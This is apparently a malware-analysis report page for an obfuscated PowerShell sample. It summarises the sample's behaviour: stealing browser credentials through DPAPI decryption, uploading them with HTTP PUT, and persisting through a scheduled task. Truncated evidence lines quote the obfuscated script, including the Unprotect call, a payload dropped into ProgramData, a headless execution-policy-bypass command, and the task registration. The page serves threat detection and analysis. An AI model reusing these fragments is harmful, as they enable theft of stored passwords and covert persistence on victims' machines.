Hostile 100% powershell Download

77b13def8169cef7.ps1

Browser credential theft, persistence, obfuscation

Browser DPAPI decryption with HTTP PUT uploadDownloads and schedules a PowerShell payload
SHA-25677b13def8169cef79daea65b70c174966d4d4863e5a8cb28c91fb9edcbece6da

Evidence

Obfuscated alternating alphanumeric var names lines 91–94
91:27… "w", "5UP", "2", "dkC", "8m", "eZvO", "kf");
92$LukY3ete6N4 = $EaMk3eHevN + "JFp2eD37N5hhVqzamS";
93$G4I6L3dOkk = $LukY3ete6N4 + ("HJixmnknWjUWUIJlbfag4kPe336yiH96C28Ec375oSiJEsneBsUnBdYxZHp6F8EIud".Remove(6, 20).Remove(11, 13).Replace("xmn6yiH9EsneBsUnBdYxZ", "8OW").Insert(12, "3l3a7"))
94$yy40obE0 …
Local State filename reference lines 2345–2350
2345:50… Co2uaITktqBfC2Olg"
2346 $T586nXmQ9ZB9nL4l5IEOo = Join-Path $SejcPszF0aXPt2ZHkc ("XyXtP8Oaydx2LeuuDkEyEFFZktA5v03VLzB6Hf24RiEwBjbFLocal StatenPnOScMev1npXAIcZZYEgDs8hiG9aUsadDVILMMWdtrdpkeRhTC14HEM0".Replace("ZYEgDs8hiG9aUsadDV", "l8MOVP443Q791Y5GrjESyrX").Trim("XyXtP8Oaydx2LeuuD").Substring(14, 69).Remove(29, 24).Substring(17, 11));
2347} else {
2348$Xh5XJsrvtW = 1533
2349$aVlvco9AOm = 3893
2350$w6WfBs0Yuxs = …
Calls .NET DPAPI ProtectedData.Unprotect lines 2382–2383
2382:1139… -split "Xs1Xbsr3Ky4")[2])) - 5928 + 843 - 169 + 6618 - (10032 % 5550) + -6581);
2383 $BV4NRhIDlJqp78G1Y = [Security.Cryptography.ProtectedData]::Unprotect($n8RtUYTOtmOvdoG4KVQ7QFy, $null, ("ZWbJ6VT7hXR3vkf90VJ4v44zeu9i4HlvPVePJsBfSURCurAciZsDqAJZ6mwZFPPz2tIjJhQRljHUJqE3OrentUXQdZ4BnWnAC5tPt51TCVHserqBnULN5zoNC7UJtMZM6QlUGNM3sjKr".Substring(24, 98).Trim("qBnULN5zoNC7").Remove(62, 21).Remove(25, 16).TrimStart …
WriteAllText name reference lines 2715–2719
2715:188… ("eI", "x", "8", "6", "ON", "h", "2D"), "cfjJh").Remove(8, 17)) $env:programdata $nbFd2BpwetrXtry4Bs
2716 if (-not (Test-Path $NKl1lwOXsdRFEUkgQw9P)) {
2717 [System.IO.File]::WriteAllText($NKl1lwOXsdRFEUkgQw9P, $S6doDSzMr6VK66q0.Content);
2718 }
2719 $YRtGDzIERqTRACKLMw6R = ("JrlsPntgUgiSt1qcp--headless cmd.exe /c poweukuHhQeSsPvBhirshell -ep bypass -fiHd7fw4J1XY9s5100q3qeBYCule `"I7SgtaoWUao".Remove(43, 14).Substring(17, 75).Remove(47, 24)) + $NKl1lwOXsdRFEUkgQw9P + ("kFzfht8PhSOE1Gs9JJDJwzgqAe`"vCqsfmmZbglP5mBNW83el5KJbCn8L7e6UPjpMNtoI9hYNj3IgYLfdoi3cGTV".Replace(("ShGSPVzHeDxT99mY1QPw85izNYZcjol4w …
Registers a Windows scheduled task lines 2725–2726
2725:448… sx".Remove(72, 21).Trim(-join ("aLYMuB", "ZKVQT", "FOhQGS", "8vHTWsx")).TrimEnd("J0QCDwOOpYeMcV2L0agmZoaD").Substring(18, 16))
2726 Register-ScheduledTask -TaskName $nPL0HDY18Ohu6h -Action $GFrsqngZGmHit -Trigger $gJgZZUPPi4QfANf7RnvpF -Settings $ZE0MuoUBrhCLjlrMepCkW -ErrorAction ("fNHsZTDDCkeYmFFp7B135LHp6SOxrRHTJSh88U9PeypmtoyCogMclSilentlyContinueJjQfdeRNNCY4DEgz60T3W2v75TAoCy8UOuzCjqaGNZLQC2NLOgs22JU". …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.